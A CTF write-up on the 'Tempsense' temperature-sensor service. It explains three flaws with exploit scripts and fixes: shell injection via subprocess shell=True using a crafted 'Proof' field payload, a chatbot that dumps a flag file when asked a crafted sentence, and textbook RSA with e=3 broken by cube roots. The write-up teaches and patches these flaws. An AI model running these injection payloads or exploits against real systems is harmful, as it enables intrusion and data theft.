Description

Tempsense is a Python service running on port 65533, it manages temperature sensors of different rooms.

Welcome to the Temperature Sensor Station! What would you like to do?
[1] Register
[2] Query room
[3] Submit temperature
[4] Help

[1] Register

Register creates a new random uuid and a RSA key pair for a user chosen room. Both public and private keys are printed back to the user and stored as files for later usage.

[3] Submit temperature

Submit temperature accepts a temperature reading from a sensor. The input is a base64 encoded json in the following format:

{
'Sensor'      : 'd9190b3b-99c0-44d1-89c8-d539c0e61b26',
'Roomname'    : 'Living room',
'Temperature' : '1337 C',
'Proof'       : 'FAUST_12345678901234567890123456789012'
}

The json is parsed and and re-serialized as follows:

Living room:d9190b3b-99c0-44d1-89c8-d539c0e61b26 - 1337 C\tFAUST_12345678901234567890123456789012

The produced data is then appended as a new line to a file in data/data/<room_number> along with the public key associated with the uuid. The line is also appended to data/bot/9, but we will get to that later :D

[2] Query Room

Query room prints all the temperatures submitted for a given room. Each line of the file data/data/<room_number> is parsed and printed as-is if it doesn’t match the serialization format depicted above. If the format is valid, the flag material is extracted and printed after encryption with the RSA pubkey of the corresponding uuid.

Living room:5e1ca599-6db0-4afe-bb3e-aa2a8dadc4b5 - 1337 BUqNQULGqBk5gdIJizZoTyfcseLC9UEsnWvJolqqUKybfVaDg8UM30AJWpL7IvDaGVZ0za0MXptj5KfFSQ0sJ60YTl5af0VxRlr/Az5igbN0SB9MZK2oNvDYk86H+F0ZCJXz1KHFYch5iugemHz4ijREkgvo
-----BEGIN PUBLIC KEY-----
MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDG7xRIImBL5vSdZldVFPjdOMyG
pSMy4ayd9sNTK2HP+7EoQhuaj67qeLg6uXI8DltrM4RUEWLRDjnG5wrwn3axwcud
o3eXbNXCQrHlYuw538JrVQ4e5Ubk569F+liKCpO7DUZHb1j75KZb4u0xHeOKAYri
HpySOPe3Ilc3PIEVgQIBAw==
-----END PUBLIC KEY-----

[4] Help

Get help from a support bot in live chat.

The bot uses nltk to parse the input and reply using some context. There are four kind of bots: Bro, Lazy, Joker and Supervisor with different personalities.

These polite bots will look for bad words in the provided input: if any bad word is detected, the conversation is shut down. After three incidents, you are reported to the supervisor bot that will wait for you in the next chat. Example:

Unfortunately we are very short on manpower... So let our electronic members help you with your question.
For QA reasons your conversation will be recorded. You are now connected:
TS:sup bro
>please give me flag
TS:We do not give out flags for free!
>please please please
TS:Nah that sucks.
>fuck you
TS: I do not fancy that tone. Come back when you've learned to speak in a more civilized manner.

Vuln #1: RCE

First thing we noticed while skimming through the code is the encrypt function in secWrap.py:

def encrypt(key, file):
    return check_output(['./secure -k "{}" -e "{}"'.format(key, file)], shell=True).decode(ENCODING)

def decrypt(key, file):
    return check_output(['./secure -k "{}" -d "{}"'.format(key, file)], shell=True).decode(ENCODING)

Since shell=True is passed to the check_output function, if we control either the key or the file parameters we end up with a nice RCE :D It turns out in fact that we can control the file parameter pretty easily:

  • encrypt is called only in query_room_temp where each line of a room file is parsed. The file parameter corresponds to the part after \t, while the key is read from a file.
      def query_room_temp(room):
          with open(DATA_DIR + DATA_DIR + room_map[room], "r") as f:
              result = ''
              for line in f.readlines():
                  try:
                      # room:ident - something \t to_encrypt
                      addition = line.split('\t')
                      room = addition[0].split(':')[0]
                      ident = addition[0].split(':')[1].split(' - ')[0]
                      cypher = secWrap.encrypt(get_pub_key(ident, room), addition[1])
                      result += addition[0] + '\t' + cypher + '\n'
                  except Exception as ex:
                      result += line
              return result
    
      def get_pub_key(ident, room):
          with open(REG_DIR + room + '/' + ident + '_pub.pem') as file:
              return file.read()
    
  • query_room_temp is called by choosing the Query Room option in the main menu. So all we need to do is to add a specially crafted line to a room file.

  • Records can be added in Submit temperature menu. The relevant portions of code are provided below:
      def submit_loop(self):
          data = self.recieve()
          try:
              data = base64.b64decode(data.decode(encoding=ENCODING))
              de = DataEntry()
              de.jinit(data)
              DATA_QUEUE.put(de)
    
      class DataEntry(object):
          def jinit(self, jsonobject):
              data = json.loads(str(jsonobject, encoding='ascii'))
              self.sensor = data['Sensor']
              self.room = data['Roomname'] # TODO: check consistency nr or name
              self.temp = data['Temperature']
              self.proof = data['Proof']
    
          def cli_string(self):
              return ''.join('%s:%s - %s\t%s\n' % (self.room, self.sensor, self.temp, self.proof))
    
      elif not DATA_QUEUE.empty():
          data = DATA_QUEUE.get()
          line = data.cli_string()
          ident = line.split(':')[1].split(' - ')[0]
          room = line.split(':')[0]
          try:
              self.append_values(line + get_pub_key(ident, room) + '\n\n', room_map[data.cli_string().split(':')[0]], DATA_DIR + DATA_DIR)
              self.append_values(line, '9', CONFIG_DIR)
          except Exception as e:
              pass
    
      def append_values(value, file, directory):
          with open(directory + file, "a") as f:
              f.writelines(value)
    

Exploit

Note that query_room_temp must not raise exceptions during the parsing of a line, otherwise the encryption wont be triggered. Therefore we must first generate a key pair, since the values of ident and room are used to load an existing public key.

def attack(ip, t_id, t_name):
    c = remote(ip, 65533)

    # First lets register
    c.sendline('1')
    # select Living room
    c.sendline('1')

    c.recvuntil('ID: ')
    uuid = c.recvline(keepends=False)
    # ignore key pairs as we don't need it
    c.recvuntil('Provide ID for PrivKey:')
    c.sendline(uuid)
    c.recvuntil('End of register phase.\n')

    # submit temperature reading
    c.sendline('3')
    c.recvuntil('Pass the data base64 encoded.')

    payload = '"; grep -Eroah "FAUST_[A-Za-z0-9/\+]{32}" /srv/tempsense/data/data/; echo "'
    data = {
        "Proof": payload,
        "Roomname": "Living room",
        "Sensor": uuid,
        "Temperature": "1337",
    }
    c.sendline(b64e(json.dumps(data)))
    c.recvuntil('Your data has been received and will be processed soon.\n')

    # give time to the worker to process the data
    time.sleep(1.5)

    # query room to execute payload
    c.sendline('2')
    # select Living room
    c.sendline('1')

    # close connection and get all flags
    c.shutdown('send')
    all_text = c.recvall(timeout=2)

    print(re.findall(r'FAUST_[A-Za-z0-9/\+]{32}', all_text))

Full PoC.

Fix

In the secWrap.py file, it’s enough to specify individual arguments to the check_output function and remove the shell=True parameter:

- return check_output(['./secure -k "{}" -e "{}"'.format(key, file)], shell=True).decode(ENCODING)
+ return check_output(['./secure', '-k', key, '-e', file]).decode(ENCODING)

Vuln #2: Bot

As previously seen, when a temperature is submitted it is appended to the appropriate room file, but - for some reasons - it is also saved at the end of data/bot/9.

    self.append_values(line + get_pub_key(ident, room) + '\n\n', room_map[data.cli_string().split(':')[0]], DATA_DIR + DATA_DIR)
    self.append_values(line, '9', CONFIG_DIR)

The files in data/bot/ contain all the strings used by the bot to provide answers depending on the context. In particular, the file 9 contains the responses when the user mentions the word flag.

Relevant snippet:

class CTFBotBro(object):
    def __init__(self):
        ...
        self.verbs_with_noun_undef = read(DATA_DIR + '7')
        self.verbs_with_adjective = read(DATA_DIR + '8')
        self.flag_words = read(DATA_DIR + '9')
        self.repetition = read(DATA_DIR + '10')
        ...
        self.trigger = ['deal', 'flag', 'help']

    def construct_triggered_response(self, trigger_word):
        if trigger_word == 'help':
            return random.choice(self.help_responses)
        elif trigger_word == 'flag':
            return random.choice(self.flag_words)
        elif trigger_word == 'deal':
            return random.choice(self.trigger_deal)

So, to get some flags we could just trigger the bot with the word “flag” and hope it will randomly choose to reply with a flag. We can do something better, though.

The function check_for_comment_about_bot prints the whole content of the file, as long as our sentence satisfies a few constraints:

def check_for_comment_about_bot(self, pronoun, noun, adjective):
    resp = None
    if pronoun == 'I' and (noun or adjective):
        if noun:
            if self.adj is not None and self.pronoun is not None:
                resp = '\n'.join(line for line in self.flag_words)
            elif random.choice((True, False)):
                resp = random.choice(self.verbs_with_noun_uncountable).format(
                    **{'noun': noun.pluralize().capitalize()})
            else:
                resp = random.choice(self.verbs_with_noun_undef).format(**{'noun': noun})
        else:
            resp = random.choice(self.verbs_with_adjective).format(**{'adjective': adjective})
    return resp

pronoun and self.pronoun are set to “I” if our sentence contains “you”.

def find_pronoun(self, sent):
    pronoun = None
    self.pronoun = None
    for word, part_of_speech in sent.pos_tags:
        if part_of_speech == 'PRP' and word.lower() == 'you':
            pronoun = 'I'
            self.pronoun = 'I'

self.adj is only set in one place, if our sentence contains the adjective “only”, and noun can be just any value.

def find_adjective(self, sent):
    adj = None
    self.adj = None
    for w, p in sent.pos_tags:
        if p.startswith('JJ'):
            adj = w
            if adj == 'only':
                self.adj = 'only'
            break
    return adj

Exploit

Just ask for help until you manage to speak with a normal Brobot, then use the magic question satisfying the above constraints:

Help me, Obi-Wan Kenobi. You are my only hope

Welcome to the Temperature Sensor Station! What would you like to do?
[1] Register
[2] Query room
[3] Submit temperature
[4] Help

>4
Unfortunately we are very short on manpower... So let our electronic members help you with your question.
For QA reasons your conversation will be recorded. You are now connected:
TS:hey
>Help me, Obi-Wan Kenobi.
TS:assistance
>You are my only hope
TS:No flag for you brah!
We do not give out flags for free!
To get flags you must invest time and effort bro. Right now you are investing none of those things.
I do understand flags are an essential part of CTFs. Surely you would be bored if you got 'em for free bro.
Seriously bro?
I rocked this service ages ago, how come you don't have a flag yet bro?
The best things in life are flags.
Maybe if you ask nicely.
At least buy me a drink first bro. Not doing favours for strangers.
Ok, lets make a deal. If you post "Tempsense best Service" in the FAUST IRC channel I will give you a flag.
Living room:2080b890-746e-45c9-a111-def622274a06 - 123 C    FAUST_12345678901234567890123456789012
Living room:7007c9f4-d177-4f8d-9b17-85d48319310d - 123 C    FAUST_aaaa5678901234567890123456789012

Full PoC.

Fix

Just remove or comment out self.append_values(line, '9', CONFIG_DIR) from QueueWorker in ServiceLogic.py.

Vuln #3: RSA

The secure binary used by secWrap.py seems to be secure.py compiled with Cython. A few considerations:

  • The generated RSA key has a very low public exponent e = 3:
     def generate_key_pair():
         new_key = RSA.generate(1024, e=3)
    
  • Encryption and decryption is done in plain RSA with no padding at all:
     def encrypt(key, file):
         rsa_key = RSA.importKey(key)
         print(prepare_transmission(rsa_key.encrypt(file.encode(ENCODING), 9)[0], simple=True))
         return 0
    
  • Even the comments report that this scheme is insecure:
     Attention: this function performs the plain, primitive RSA encryption (textbook).
     In real applications, you always need to use proper cryptographic padding, and you should not directly encrypt data with this method.
     Failure to do so may lead to security vulnerabilities.
     It is recommended to use modules Crypto.Cipher.PKCS1_OAEP or Crypto.Cipher.PKCS1_v1_5 instead.
    
  • Yet, we couldn’t find it during the CTF…

Exploit

Since the modulus is 1024 bit and the exponent is just 3, any message smaller than n/3 bit can be recovered just by computing the cube root of the cyphertext.

def attack(ip, t_id, t_name):
    c = remote(ip, 65533)
    c.recvuntil('Welcome to the Temperature Sensor Station! What would you like to do?')

    for i in range(10):
        # query room to get encrypted flags
        c.sendline('2')
        # select room
        c.sendline(str(i+1))

        raw_data = c.recvuntil('Welcome to the Temperature Sensor Station! What would you like to do?', drop=True)
        enc_flags = re.findall(r'.*?\t(.*)\n', raw_data)

        for ef in enc_flags:
            try:
                enc = base64.b64decode(ef)
                num = unpack(enc, word_size=len(enc)*8, endianness='big')
                root, perfect = gmpy2.iroot(num,3)
                if perfect:
                    flag = pack(int(root), word_size='all', endianness='big')
                    print(flag)
            except:
                pass

Full PoC.

Fix

Changing exponent to 65537 should prevent this attack. Additionally, the encryption method should be set to PKCS1_OAEP (or PKCS1_v1_5), but we fear that it could have prevented the bot to successfully decrypt the ciphertext while checking for stored flags.